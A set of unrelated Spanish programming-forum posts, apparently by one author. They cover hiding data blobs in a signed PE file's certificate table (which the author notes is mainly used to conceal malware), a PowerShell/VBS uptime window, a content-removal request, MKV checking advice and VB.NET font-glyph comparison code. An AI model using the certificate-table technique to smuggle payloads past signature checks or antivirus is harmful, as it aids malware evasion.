Cabe mencionar que si solamente adjuntásemos un archivo PE malicioso y sin cifrar a la tabla de certificado, habría muchas detecciones de AVs, y Windows nos advertiría de que la firma no tiene un formato adecuado:



(Sin embargo, la firma sigue siendo válida, solo que Windows ha detectado que la tabla de certificado no sigue un formato apropiado.)
Nota: El hipervínculo mostrado en la advertencia nos llevará al siguiente artículo: MS13-098: Una vulnerabilidad en Windows podría permitir la ejecución remota de código: 10 de diciembre de 2013

Por lo que yo he experimentado, esta advertencia al examinar la firma digital de un archivo solo se produce al adjuntar archivos PE y sin cifrar a la tabla de certificado. Podemos adjuntar cualquier tipo de documento de texto plano, imágenes y videos, que estén sin cifrar, y Windows no mostrará ningún aviso sobre formato incorrecto.

Por que sí, amigos, aunque esto sería un método descubierto y usado principalmente para ocultar malware, también podríamos darle un uso más didáctico y de utilidad para un mayor número de usuarios, como podría ser la capacidad de ocultar documentos o contraseñas de forma segura donde nadie jamás va a ponerse a mirar: en la tabla de certificado de un archivo PE.

Para un archivo con un certificado corrupto, Windows puede mostrar esto:



Y para un archivo con un certificado digital inválido, Windows muestra este mensaje:



(Esa captura de pantalla la he sacado de Internet y la he editado, sí, pero creanme, he invalidado el certificado varias veces y ponía algo así, "El certificado no es válido.")

Sin más dilación, vamos con el código que he desarrollado...

---

Características principales del código

Estas son las principales funciones que he desarrollado:

◉ AppendBlobToPECertificateTable: Añade un bloque de datos al final de la tabla de certificado de un archivo PE.
◉ RemoveBlobFromPECertificateTable: Elimina un bloque de datos específico de la tabla de certificado de un archivo PE.
◉ RemoveBlobsFromPECertificateTable: Elimina todos los bloques de datos de la tabla de certificado de un archivo PE.
◉ GetBlobsFromPECertificateTable: Devuelve una colección con todos los bloques de datos presentes en la tabla de certificado de un archivo PE.

Además, también he incluído las siguientes funciones auxiliares de utilidad general:

◉ FileIsPortableExecutable: Determina si un archivo es de facto un archivo PE válido.
◉ FileHasCertificateTable: Determina si un archivo PE contiene una tabla de certificado que no esté vacía. No valida la firma ni el contenido de los certificados; solo verifica la presencia de la tabla.
◉ FileHasCertificate: Determina si un archivo PE contiene un certificado válido que se pueda leer/parsear. No valida la cadena de confianza, expiración ni revocación del certificado.
◉ MarshalExtensions.ConvertToStructure y MarshalExtensions.ConvertToBytes
◉ StreamExtensions.ReadExact y StreamExtensions.CopyExactTo

💡 Al final de este hilo muestro un breve ejemplo de uso para todas las funciones principales 👍

---

El código fuente

Imports necesarios:

Imports System.Collections.Immutable
Imports System.Collections.ObjectModel
Imports System.ComponentModel
Imports System.IO
Imports System.Reflection.PortableExecutable
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Security.Cryptography
Imports System.Security.Cryptography.X509Certificates
Imports System.Text

Módulo MarshalExtensions:

''' <summary>
''' Provides extension methods related to marshaling operations.
''' </summary>
Public Module MarshalExtensions
 
    ''' <summary>
    ''' Converts a byte array into a managed structure of type <typeparamref name="T"/>.
    ''' </summary>
    ''' 
    ''' <typeparam name="T">
    ''' The structure type to convert the byte array into.
    ''' </typeparam>
    ''' 
    ''' <param name="structBytes">
    ''' The byte array containing the raw data for the structure.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A managed structure of type <typeparamref name="T"/> populated with data from the <paramref name="structBytes"/> byte array.
    ''' </returns>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Advanced)>
    Public Function ConvertToStructure(Of T As Structure)(structBytes As Byte()) As T
 
        Dim handle As GCHandle = GCHandle.Alloc(structBytes, GCHandleType.Pinned)
        Try
            Return Marshal.PtrToStructure(Of T)(handle.AddrOfPinnedObject())
        Finally
            handle.Free()
        End Try
    End Function
 
    ''' <summary>
    ''' Converts a managed structure of type <typeparamref name="T"/> into a byte array.
    ''' </summary>
    ''' 
    ''' <typeparam name="T">
    ''' The structure type to convert to a byte array.
    ''' </typeparam>
    ''' 
    ''' <param name="struct">
    ''' The structure instance to convert.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A byte array representing the raw memory of the structure.
    ''' </returns>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Advanced)>
    Public Function ConvertToBytes(Of T As Structure)(struct As T) As Byte()
 
        Dim size As Integer = Marshal.SizeOf(GetType(T))
        Dim bytes(size - 1) As Byte
        Dim ptr As IntPtr = Marshal.AllocHGlobal(size)
        Try
            Marshal.StructureToPtr(struct, ptr, True)
            Marshal.Copy(ptr, bytes, 0, size)
        Finally
            Marshal.FreeHGlobal(ptr)
        End Try
        Return bytes
    End Function
 
End Module

Módulo StreamExtensions:

''' <summary>
''' Provides extension methods for <see cref="Stream"/>.
''' </summary>
Public Module StreamExtensions
 
    ''' <summary>
    ''' Reads exactly the specified amount of bytes from the current stream, and advances the position within the stream.
    ''' </summary>
    ''' 
    ''' <param name="stream">
    ''' The source <see cref="Stream"/> to read from.
    ''' </param>
    ''' 
    ''' <param name="count">
    ''' The exact number of bytes to be read from the stream.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A <see cref="Byte()"/> array containing the bytes read from the stream.
    ''' </returns>
    ''' 
    ''' <exception cref="ArgumentNullException">
    ''' Thrown if <paramref name="stream"/> is null.
    ''' </exception>
    ''' 
    ''' <exception cref="ArgumentException">
    ''' Thrown if <paramref name="stream"/> is empty.
    ''' </exception>
    ''' 
    ''' <exception cref="ArgumentOutOfRangeException">
    ''' Thrown if <paramref name="count"/> is less than or equal to zero.
    ''' <para></para>
    ''' Thrown if <paramref name="count"/> is greater than the bytes available from the current position in the stream.
    ''' </exception>
    ''' 
    ''' <exception cref="IOException">
    ''' Thrown if <paramref name="stream"/> is not readable.
    ''' </exception>
    ''' 
    ''' <exception cref="EndOfStreamException">
    ''' Thrown if the stream ends before <paramref name="count"/> bytes are read.
    ''' </exception>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    Public Function ReadExact(stream As Stream, count As Integer) As Byte()
 
        If stream Is Nothing Then
            Throw New ArgumentNullException(paramName:=NameOf(stream))
        End If
 
        If Not stream.CanRead Then
            Dim msg As String = "The source stream does not support reading."
            Throw New IOException(msg)
        End If
 
        If stream.Length <= 0 Then
            Dim msg As String = "The source stream is empty, cannot read any bytes."
            Throw New ArgumentException(msg, paramName:=NameOf(stream))
        End If
 
        If count <= 0 Then
            Dim msg As String = "Count must be greater than 0."
            Throw New ArgumentOutOfRangeException(paramName:=NameOf(count), count, msg)
        End If
 
        If (stream.Position + count) > stream.Length Then
            Dim msg As String = $"Requested {count} bytes, but only {stream.Length - stream.Position} bytes are available from the current position in the source stream."
            Throw New ArgumentOutOfRangeException(paramName:=NameOf(count), count, msg)
        End If
 
        Dim buffer(count - 1) As Byte
        Dim totalRead As Integer
 
        While totalRead < buffer.Length
            Dim read As Integer = stream.Read(buffer, totalRead, buffer.Length - totalRead)
            If read = 0 Then
                Dim msg As String = "Source stream ended before the requested number of bytes were read."
                Throw New EndOfStreamException(msg)
            End If
            totalRead += read
        End While
 
        Return buffer
    End Function
 
    ''' <summary>
    ''' Reads exactly the specified amount of bytes from the current stream and writes them to another stream.
    ''' </summary>
    ''' 
    ''' <param name="source">
    ''' The <see cref="Stream"/> from which to copy the contents to the <paramref name="destination"/> stream.
    ''' </param>
    ''' 
    ''' <param name="destination">
    ''' The <see cref="Stream"/> to which the contents of the <paramref name="source"/> stream will be copied.
    ''' </param>
    ''' 
    ''' <param name="count">
    ''' The exact number of bytes to copy from the source stream.
    ''' </param>
    ''' 
    ''' <param name="bufferSize">
    ''' The size of the buffer. This value must be greater than zero. 
    ''' <para></para>
    ''' The default size is 81920.
    ''' </param>
    ''' 
    ''' <exception cref="ArgumentNullException">
    ''' Thrown if <paramref name="source"/> or <paramref name="destination"/> are null.
    ''' </exception>
    ''' 
    ''' <exception cref="ArgumentException">
    ''' Thrown if the <paramref name="source"/> stream is empty.
    ''' </exception>
    ''' 
    ''' <exception cref="ArgumentOutOfRangeException">
    ''' Thrown if <paramref name="count"/> or <paramref name="bufferSize"/> are less than or equal to zero.
    ''' </exception>
    ''' 
    ''' <exception cref="IOException">
    ''' Thrown if <paramref name="source"/> stream is not readable or <paramref name="destination"/> stream is not writable.
    ''' </exception>
    ''' 
    ''' <exception cref="EndOfStreamException">
    ''' Thrown if the <paramref name="source"/> stream ends before <paramref name="count"/> bytes are copied.
    ''' </exception>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    Public Sub CopyExactTo(source As Stream, destination As Stream, count As Integer,
                           Optional bufferSize As Integer = 81920)
 
        If source Is Nothing Then
            Throw New ArgumentNullException(paramName:=NameOf(source))
        End If
 
        If destination Is Nothing Then
            Throw New ArgumentNullException(paramName:=NameOf(destination))
        End If
 
        If Not source.CanRead Then
            Dim msg As String = "The source stream does not support reading."
            Throw New IOException(msg)
        End If
 
        If Not destination.CanWrite Then
            Dim msg As String = "The destination stream does not support writting."
            Throw New IOException(msg)
        End If
 
        If source.Length <= 0 Then
            Dim msg As String = "The source stream is empty, cannot read any bytes."
            Throw New ArgumentException(msg, paramName:=NameOf(source))
        End If
 
        If count <= 0 Then
            Dim msg As String = "Count must be greater than 0."
            Throw New ArgumentOutOfRangeException(paramName:=NameOf(count), count, msg)
        End If
 
        If bufferSize <= 0 Then
            Dim msg As String = "Buffer size must be greater than 0."
            Throw New ArgumentOutOfRangeException(paramName:=NameOf(bufferSize), bufferSize, msg)
        End If
 
        Dim buffer(bufferSize - 1) As Byte
        Dim remaining As Integer = count
 
        While remaining > 0
            Dim toRead As Integer = Math.Min(buffer.Length, remaining)
            Dim read As Integer = source.Read(buffer, 0, toRead)
            If read = 0 Then
                Dim msg As String = "Source stream ended before the requested number of bytes were copied."
                Throw New EndOfStreamException(msg)
            End If
            destination.Write(buffer, 0, read)
            remaining -= read
        End While
    End Sub
 
End Module

El código continúa aquí abajo 👇🙂

El siguiente script, desarrollado en PowerShell, crea una ventana gráfica (Form) que muestra, en tiempo real, el tiempo transcurrido desde el último arranque (uptime) del sistema:


( Nota: el efecto de parpadeo o flickering es debido a la captura del GIF animado )

Es un script muy simple y su único cometido es ese. Yo lo utilizo en una máquina virtual, aunque cada persona podría encontrarle usos diferentes.

El código:

Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
 
Add-Type @"
using System;
using System.Runtime.InteropServices;
 
public static class WinAPI {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
 
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
 
    [DllImport("shell32.dll", CharSet=CharSet.Unicode)]
    public static extern int ExtractIconEx(string lpszFile, int nIconIndex, out IntPtr phiconLarge, out IntPtr phiconSmall, int nIcons);
 
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern bool DestroyIcon(IntPtr handle);
}
"@
 
# --- SINGLE INSTANCE CHECK THROUGH MUTEX ---
$mutexName = "Global\ComputerUptimeFormMutex"
$createdNew = $false
$mutex = New-Object System.Threading.Mutex($true, $mutexName, [ref]$createdNew)
 
if (-not $createdNew) {
    [System.Windows.Forms.MessageBox]::Show(
        "Only one instance of this program is allowed.",
        "Computer Uptime",
        [System.Windows.Forms.MessageBoxButtons]::OK,
        [System.Windows.Forms.MessageBoxIcon]::Stop
    )
    exit
}
 
# --- HIDE CURRENT POWERSHELL CONSOLE ---
$SW_HIDE = 0
$hWnd = [WinAPI]::GetConsoleWindow()
[WinAPI]::ShowWindow($hWnd, $SW_HIDE) | Out-Null
 
# --- CREATE THE FORM ---
$form                 = New-Object System.Windows.Forms.Form
$form.Text            = "Computer Uptime"
$form.Size            = New-Object System.Drawing.Size(350, 150)
$form.StartPosition   = "CenterScreen"
$form.FormBorderStyle = [System.Windows.Forms.FormBorderStyle]::FixedDialog
$form.MaximizeBox     = $false
$form.MinimizeBox     = $true
$form.Padding         = New-Object System.Windows.Forms.Padding(4)
$form.DoubleBuffered  = $true
 
# --- SET FORM ICON ---
$shell32   = "$env:SystemRoot\System32\shell32.dll"
$hLarge    = [IntPtr]::Zero
$hSmall    = [IntPtr]::Zero
$iconIndex = 265 # A clock icon in Windows 10.
 
[WinAPI]::ExtractIconEx($shell32, $iconIndex, [ref]$hLarge, [ref]$hSmall, 1) | Out-Null
 
if ($hSmall -ne [IntPtr]::Zero) {
    $form.Icon = [System.Drawing.Icon]::FromHandle($hSmall)
}
 
# --- LABEL TO DISPLAY UPTIME ---
$label                = New-Object System.Windows.Forms.Label
$label.Font           = New-Object System.Drawing.Font("Segoe UI", 14, [System.Drawing.FontStyle]::Bold)
$label.Dock           = [System.Windows.Forms.DockStyle]::Fill
$label.TextAlign      = [System.Drawing.ContentAlignment]::MiddleCenter
$label.AutoSize       = $false
$label.DoubleBuffered = $true
$form.Controls.Add($label)
 
# --- GET SYSTEM INFORMATION FROM WMI ---
$os           = Get-CimInstance Win32_OperatingSystem
$bootTime     = $os.LastBootUpTime
$computerName = $os.CSName
 
# --- TIMER TO UPDATE UPTIME ---
$timer = New-Object System.Windows.Forms.Timer
$timer.Interval = 100 
$timer.Add_Tick({
    $uptime       = (Get-Date) - $bootTime
    $minutes      = $uptime.Minutes.ToString("00")
    $seconds      = $uptime.Seconds.ToString("00")
    $milliseconds = $uptime.Milliseconds.ToString("000")
    $label.Text   = "$computerName`n`n$($uptime.Days) days — $($uptime.Hours)h : $($minutes)m : $($seconds)s : $($milliseconds)ms"
})
$timer.Start()
 
# --- RELEASE ICON HANDLES AND MUTEX WHEN FORM GETS CLOSED ---
$form.Add_FormClosed({
    if ($hSmall -ne [IntPtr]::Zero) { [WinAPI]::DestroyIcon($hSmall) }
    if ($hLarge -ne [IntPtr]::Zero) { [WinAPI]::DestroyIcon($hLarge) }
    $mutex.ReleaseMutex()
})
 
# --- SHOW THE FORM ---
[void]$form.ShowDialog()

PD: 80% del código fue hecho por ChatGPT (considero una pérdida de tiempo diseñar manualmente el form en texto plano, además de buscar y añadir las definiciones de la API de Windows, cosas que puede hacer una IA perfectamente y en menos de un segundo), 20% edición y revisión humana. De todas formas, esto no tendría ningún mérito haberlo hecho a mano en un 100%, pero aun así quiero ser honesto con lo que comparto.

---

Por último, les muestro una especie de equivalente mucho más básico hecho con VisualBasic Script (VBS). El siguiente código tan solo muestra un cuadro de mensaje, sin actualización en tiempo real de ningún tipo.

Option Explicit
 
Dim oneMinute, oneHour, oneDay: oneMinute = 60: oneHour = 3600: oneDay = 86400
Dim objWMIService, colOperatingSystems, objOperatingSystem
Dim computerName, lastBootUpTime, upTime
 
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
 
For Each objOperatingSystem In colOperatingSystems
    computerName = objOperatingSystem.CSName
    lastBootUpTime = objOperatingSystem.LastBootUpTime
    lastBootUpTime = CDate(Mid(lastBootUpTime, 1, 4) & "/" & Mid(lastBootUpTime, 5, 2) & "/" & Mid(lastBootUpTime, 7, 2) & " " & _
                           Mid(lastBootUpTime, 9, 2) & ":" & Mid(lastBootUpTime, 11, 2) & ":" & Mid(lastBootUpTime, 13, 2))
 
    upTime = DateDiff("s", lastBootUpTime, Now)
    MsgBox computerName & vbCrLf & vbCrLf  & _
           upTime \ oneDay & " days ~ " & _
           (upTime Mod oneDay) \ oneHour & "h : " & _
           (upTime Mod oneHour) \ oneMinute & "m : " & _
           upTime Mod oneMinute & "s", vbInformation, "Computer Uptime"
 
Next
 
WScript.Quit(0)

Hola. Envié un correo a varias direcciones que supuestamente son del staff de elhacker.net, lo siento por parecer pesado pero me quitarían una preocupación de encima si alguien me confirmase que han recibido el correo. Por que no sé si en alguna (o todas) esas direcciones de correo tal vez me tienen bloqueado por discusiones ocurridas en el pasado.

El e-mail que les he enviado es en relación a mi petición para eliminar un e-mail que aparece en un post del sitio web https://forum.elhacker.net/, y ahí explico todos los detalles...

Este es el segundo hilo que abro al respecto, y sé que solo han pasado dos días, pero me preocupo con facilidad, sobre todo cuando el primer hilo lo han borrado sin ofrecer respuesta, y por el momento nadie se ha puesto en contacto conmigo. (¿ustedes suelen fijarse en los hilos borrados de la papelera?).

Por favor tengan en cuenta que yo desconozco quien tiene acceso para administrar ese sitio web, no sé si solamente el-brujo es capaz, y a lo mejor por eso nadie ha querido ofrecerme una respuesta ni contactar conmigo. En ese caso díganmelo y contactaré con él por WhatsApp, como ya os dije en una ocasión no quiero recurrir a eso sin su consentimiento para terminar molestando... si no fuese realmente necesario.

Ya he enviado la correspondiente solicitud de retirada de contenido a Google para ver si ellos pueden eliminar ese resultado de búsqueda donde aparece el post de https://forum.elhacker.net/, pero desconozco cuanto tiempo puede tardar en resolverse este tipo de denuncia, y al final pueden decidir no hacer nada al respecto, así que por favor necesito que ustedes me ayuden con lo que sí está en vuestras manos poder hacer.

Quiero pensar que en esta ocasión no me perciben como Elektro "el que le cae mal a todo el staff", sino como una persona que simplemente solicita algo tan razonable como poder eliminar cierta información personal que no debería ser accesible de forma pública como lo es desde ese sitio web, y a su vez desde un motor de búsqueda tipo Google.

Si ustedes revocasen mi baneo en ese sitio web, y suponiendo que yo pudiera editar un post de esa antigüedad, pues podría hacer yo mismo la tarea de eliminar ese e-mail y así no les quitaría más tiempo con este asunto.

Gracias de antemano.

No sé a qué te refieres exactamente. De todas formas, probablemente lo que ese programa haga (y cualquier otro, como por ejemplo MakeMKV) sea una validación inicial para determinar que el formato y estructura del DVD que estás intentando cargar coincida con lo que se espera de un DVD de video, y tras esa validación inicial luego identificará la cantidad de pistas de video, audio y subtítulos, los títulos, etc, pero dudo mucho que haga algo como "comprobar el estado" del video.

El título que le asignaste al hilo es: "comprobar estado de video", refiriéndote a archivos MKV y MP4, así que voy a responder a eso:

Para comprobar si un archivo en formato MKV o MP4 está corrupto, es suficiente con cargar el archivo en el programa MKVToolnix (descarga) y presionar el botón "Iniciar multiplexado". Si la operación se completa sin ningún registro de avisos ni errores, entonces las pistas del contenedor MKV/MP4 están en perfectas condiciones.

Atentamente,
Elektro.

Métodos universales para trabajar (los últimos) aspectos básicos con fuentes de texto (.ttf y .otf)...

◉ Funciones 'UtilFonts.GetFontGlyphOutlineData' y 'FontExtensions.GetGlyphOutlineData'

    Sirven para obtener los datos crudos de contorno (outline) de un glifo para un carácter específico en una fuente.

    Devuelven un array de bytes que representa la forma vectorial del glifo en el formato solicitado (Native o Bezier).

    Estos datos se pueden usar como base para comparaciones de glifos.

◉ Funciones 'UtilFonts.FontGlyphOutlinesAreEqual' y 'FontExtensions.GlyphOutlinesAreEqual'

    Sirven para comparar si dos fuentes producen los mismos datos de contorno (outline) de un glifo para un carácter específico.

◉ Funciones 'UtilFonts.GetFontGlyphOutlineSimilarity' y 'FontExtensions.GetGlyphOutlineSimilarity'

    Sirven para calcular un índice de similitud entre los contornos de un glifo para un carácter específico en dos fuentes distintas.

    Se puede usar cuando se quiere medir cuán parecidos son los glifos entre dos fuentes, en lugar de solo saber si son exactamente iguales.

---

◉ El código fuente

⚠️ Importante: Para poder utilizar este código se requieren algunas definiciones de la API de Windows que he compartido en el post anterior a este. No lo comparto aquí de nuevo para evitar repetir código y evitar que este post quede demasiado grande y tedioso de leer. 🙏

Public Class UtilFonts
 
    ''' <summary>
    ''' Prevents a default instance of the <see cref="UtilFonts"/> class from being created.
    ''' </summary>
    Private Sub New()
    End Sub
 
    ''' <summary>
    ''' Retrieves the raw outline data for a given glyph from the specified font file.
    ''' <para></para>
    ''' This function calls <see cref="DevCase.Win32.NativeMethods.GetGlyphOutline"/> in background 
    ''' to retrieve outline data with the requested <paramref name="format"/>.
    ''' </summary>
    ''' 
    ''' <param name="fontFile">
    ''' Path to the font file from which the glyph will be obtained.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character whose glyph outline will be requested.
    ''' </param>
    ''' 
    ''' <param name="format">
    ''' The format in which the glyph outline will be retrieved.
    ''' <para></para>
    ''' This value only can be <see cref="GetGlyphOutlineFormat.Native"/> or <see cref="GetGlyphOutlineFormat.Bezier"/>.
    ''' <para></para>
    ''' Note: callers must interpret the returned byte array based on the selected format.
    ''' </param>
    ''' 
    ''' <param name="matrix">
    ''' An optional <see cref="GlyphOutlineMatrix2"/> used to transform the glyph outline. 
    ''' <para></para>
    ''' If no value is provided or default structure is passed, an identity matrix 
    ''' will be used (see: <see cref="GlyphOutlineMatrix2.GetIdentityMatrix()"/>), 
    ''' where the transfromed graphical object is identical to the source object.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A <see cref="Byte"/> array containing the raw glyph outline data with the requested <paramref name="format"/>. 
    ''' <para></para>
    ''' Returns <see langword="Nothing"/> if the glyph is empty in the specified font.
    ''' </returns>
    ''' 
    ''' <exception cref="FileNotFoundException">
    ''' Thrown when the font file is not found.
    ''' </exception>
    <DebuggerStepThrough>
    Public Shared Function GetFontGlyphOutlineData(fontFile As String, ch As Char, format As GetGlyphOutlineFormat,
                                                   Optional matrix As GlyphOutlineMatrix2 = Nothing) As Byte()
 
        If Not File.Exists(fontFile) Then
            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
        End If
 
        Using pfc As New PrivateFontCollection()
            pfc.AddFontFile(fontFile)
 
            Using f As New Font(pfc.Families(0), emSize:=1)
                Return FontExtensions.GetGlyphOutlineData(f, ch, format, matrix)
            End Using
        End Using
    End Function
 
    ''' <summary>
    ''' Determines whether the glyph outline for the specified character is identical in two font files.
    ''' </summary>
    ''' 
    ''' <param name="firstFontFile">
    ''' Path to the first font file to compare.
    ''' </param>
    ''' 
    ''' <param name="secondFontFile">
    ''' Path to the second font file to compare.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character whose glyph outline will be compared between the two fonts.
    ''' </param>
    ''' 
    ''' <returns>
    ''' <see langword="True"/> if both fonts produce identical outlines for the specified glyph.
    ''' <para></para>
    ''' <see langword="False"/> if the outlines differ or if one of the fonts has an empty glyph. 
    ''' If the glyph outlines are empty in both fonts, returns <see langword="True"/>.
    ''' </returns>
    ''' 
    ''' <exception cref="FileNotFoundException">
    ''' Thrown when one of the font files is not found.
    ''' </exception>
    <DebuggerStepThrough>
    Public Shared Function FontGlyphOutlinesAreEqual(firstFontFile As String, secondFontFile As String, ch As Char) As Boolean
 
        If Not File.Exists(firstFontFile) Then
            Throw New FileNotFoundException("First font file not found.", fileName:=firstFontFile)
        End If
 
        If Not File.Exists(secondFontFile) Then
            Throw New FileNotFoundException("Second ont file not found.", fileName:=secondFontFile)
        End If
 
        Using firstPfc As New PrivateFontCollection(),
              secondPfc As New PrivateFontCollection()
 
            firstPfc.AddFontFile(firstFontFile)
            secondPfc.AddFontFile(secondFontFile)
 
            Using firstFont As New Font(firstPfc.Families(0), emSize:=1),
                  secondFont As New Font(secondPfc.Families(0), emSize:=1)
 
                Return FontExtensions.GlyphOutlineIsEqualTo(firstFont, secondFont, ch)
            End Using
        End Using
    End Function
 
    ''' <summary>
    ''' Computes a similarity score between the glyph outline for the specified character in two font files.
    ''' </summary>
    ''' 
    ''' <param name="firstFontFile">
    ''' Path to the first font file to compare.
    ''' </param>
    ''' 
    ''' <param name="secondFontFile">
    ''' Path to the second font file to compare.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character whose glyph outline will be compared between the two fonts.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A <see cref="Single"/> value between 0.0 and 1.0 representing the similarity 
    ''' (the number of matching bytes in the outline data) of the glyph outlines.
    ''' <para></para>
    ''' If one of the fonts has an empty glyph, returns 0. If the glyph outlines are empty in both fonts, returns 1.
    ''' </returns>
    ''' 
    ''' <exception cref="FileNotFoundException">
    ''' Thrown when one of the font files is not found.
    ''' </exception>
    <DebuggerStepThrough>
    Public Shared Function GetFontGlyphOutlineSimilarity(firstFontFile As String, secondFontFile As String, ch As Char) As Single
 
        If Not File.Exists(firstFontFile) Then
            Throw New FileNotFoundException("First font file not found.", fileName:=firstFontFile)
        End If
 
        If Not File.Exists(secondFontFile) Then
            Throw New FileNotFoundException("Second ont file not found.", fileName:=secondFontFile)
        End If
 
        Using firstPfc As New PrivateFontCollection(),
              secondPfc As New PrivateFontCollection()
 
            firstPfc.AddFontFile(firstFontFile)
            secondPfc.AddFontFile(secondFontFile)
 
            Using firstFont As New Font(firstPfc.Families(0), emSize:=1),
                  secondFont As New Font(secondPfc.Families(0), emSize:=1)
 
                Return FontExtensions.GetGlyphOutlineSimilarity(firstFont, secondFont, ch)
            End Using
        End Using
    End Function
 
End Class

y:

Module FontExtensions
 
    ''' <summary>
    ''' Retrieves the raw outline data for a given glyph from the specified <see cref="System.Drawing.Font"/>.
    ''' <para></para>
    ''' This function calls <see cref="DevCase.Win32.NativeMethods.GetGlyphOutline"/> in background 
    ''' to retrieve outline data with the requested <paramref name="format"/>.
    ''' </summary>
    ''' 
    ''' <param name="font">
    ''' The <see cref="System.Drawing.Font"/> object from which the glyph will be obtained.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character whose glyph outline will be requested.
    ''' </param>
    ''' 
    ''' <param name="format">
    ''' The format in which the glyph outline will be retrieved.
    ''' <para></para>
    ''' This value only can be <see cref="GetGlyphOutlineFormat.Native"/> or <see cref="GetGlyphOutlineFormat.Bezier"/>.
    ''' <para></para>
    ''' Note: callers must interpret the returned byte array based on the selected format.
    ''' </param>
    ''' 
    ''' <param name="matrix">
    ''' An optional <see cref="GlyphOutlineMatrix2"/> used to transform the glyph outline. 
    ''' <para></para>
    ''' If no value is provided or default structure is passed, an identity matrix 
    ''' will be used (see: <see cref="GlyphOutlineMatrix2.GetIdentityMatrix()"/>), 
    ''' where the transfromed graphical object is identical to the source object.
    ''' </param>
    ''' 
    ''' <returns>
    ''' A <see cref="Byte"/> array containing the raw glyph outline data with the requested <paramref name="format"/>. 
    ''' <para></para>
    ''' Returns <see langword="Nothing"/> if the glyph is empty in the specified <paramref name="font"/>.
    ''' </returns>
    ''' 
    ''' <exception cref="ArgumentNullException">
    ''' Thrown when <paramref name="font"/> is <see langword="Nothing"/>.
    ''' </exception>
    ''' 
    ''' <exception cref="ArgumentException">
    ''' Thrown when the specified <paramref name="format"/> is invalid to request glyph outline data.
    ''' </exception>
    ''' 
    ''' <exception cref="System.ComponentModel.Win32Exception">
    ''' Thrown when a Win32 error occurs during font or device context operations.
    ''' </exception>
    <Extension>
    <EditorBrowsable(EditorBrowsableState.Always)>
    <DebuggerStepThrough>
    Public Function GetGlyphOutlineData(font As Font, ch As Char, format As GetGlyphOutlineFormat,
                                        Optional matrix As GlyphOutlineMatrix2 = Nothing) As Byte()
 
        If font Is Nothing Then
            Throw New ArgumentNullException(paramName:=NameOf(font))
        End If
 
        If format <> GetGlyphOutlineFormat.Native AndAlso
           format <> GetGlyphOutlineFormat.Bezier Then
 
            Dim msg As String = $"The specified format '{format}' does not produce glyph outline data. " & Environment.NewLine &
                                $"Use '{NameOf(GetGlyphOutlineFormat.Native)}' or '{NameOf(GetGlyphOutlineFormat.Bezier)}' " &
                                "formats to request glyph outline data."
 
            Throw New ArgumentException(msg, paramName:=NameOf(format))
        End If
 
        Dim hdc As IntPtr
        Dim hFont As IntPtr
        Dim oldObj As IntPtr
 
        Dim win32Err As Integer
 
        Try
            hFont = font.ToHfont()
            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
            oldObj = NativeMethods.SelectObject(hdc, hFont)
            win32Err = Marshal.GetLastWin32Error()
            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
                Throw New Win32Exception(win32Err)
            End If
 
            Dim chCode As UInteger = CUInt(Convert.ToInt32(ch))
            If matrix.Equals(New GlyphOutlineMatrix2()) Then
                matrix = GlyphOutlineMatrix2.GetIdentityMatrix()
            End If
 
            Dim needed As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, Nothing, Nothing, matrix)
 
            win32Err = Marshal.GetLastWin32Error()
 
            Select Case needed
                Case 0UI
                    ' Zero curve data points were returned, meaning the glyph is empty.
                    Return Nothing
 
                Case DevCase.Win32.Common.Constants.GDI_ERROR
                    If win32Err = Win32ErrorCode.ERROR_SUCCESS Then
                        ' The function returned GDI_ERROR, but no error recorded by GetLastError, meaning the function succeeded.
                        ' Tests carried out have shown that when this happens the glyph simply does not exists. 
                        Return Nothing
                    Else
                        Throw New Win32Exception(win32Err)
                    End If
 
                Case Else
                    Dim bufferPtr As IntPtr = Marshal.AllocHGlobal(New IntPtr(needed))
                    Try
                        Dim got As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, needed, bufferPtr, matrix)
                        win32Err = Marshal.GetLastWin32Error()
                        If got = DevCase.Win32.Common.Constants.GDI_ERROR AndAlso
                           win32Err <> Win32ErrorCode.ERROR_SUCCESS Then
                            Throw New Win32Exception(win32Err)
                        End If
 
                        Dim result(CInt(got) - 1) As Byte
                        Marshal.Copy(bufferPtr, result, 0, CInt(got))
                        Return result
                    Finally
                        Marshal.FreeHGlobal(bufferPtr)
                    End Try
 
            End Select
 
        Finally
            If hFont <> IntPtr.Zero Then
                NativeMethods.DeleteObject(hFont)
            End If
            If oldObj <> IntPtr.Zero Then
                NativeMethods.DeleteObject(oldObj)
            End If
            If hdc <> IntPtr.Zero Then
                NativeMethods.DeleteDC(hdc)
            End If
 
        End Try
 
    End Function
 
    ''' <summary>
    ''' Determines whether the glyph outline for the specified character in the source <see cref="System.Drawing.Font"/>
    ''' is identical to the glyph outline of the same character in another <see cref="System.Drawing.Font"/>.
    ''' </summary>
    ''' 
    ''' <param name="firstFont">
    ''' The first <see cref="System.Drawing.Font"/> to compare.
    ''' </param>
    ''' 
    ''' <param name="secondFont">
    ''' The second <see cref="System.Drawing.Font"/> to compare.
    ''' </param>
    ''' 
    ''' <param name="ch">
    ''' The character whose glyph outline will be compared between the two fonts.
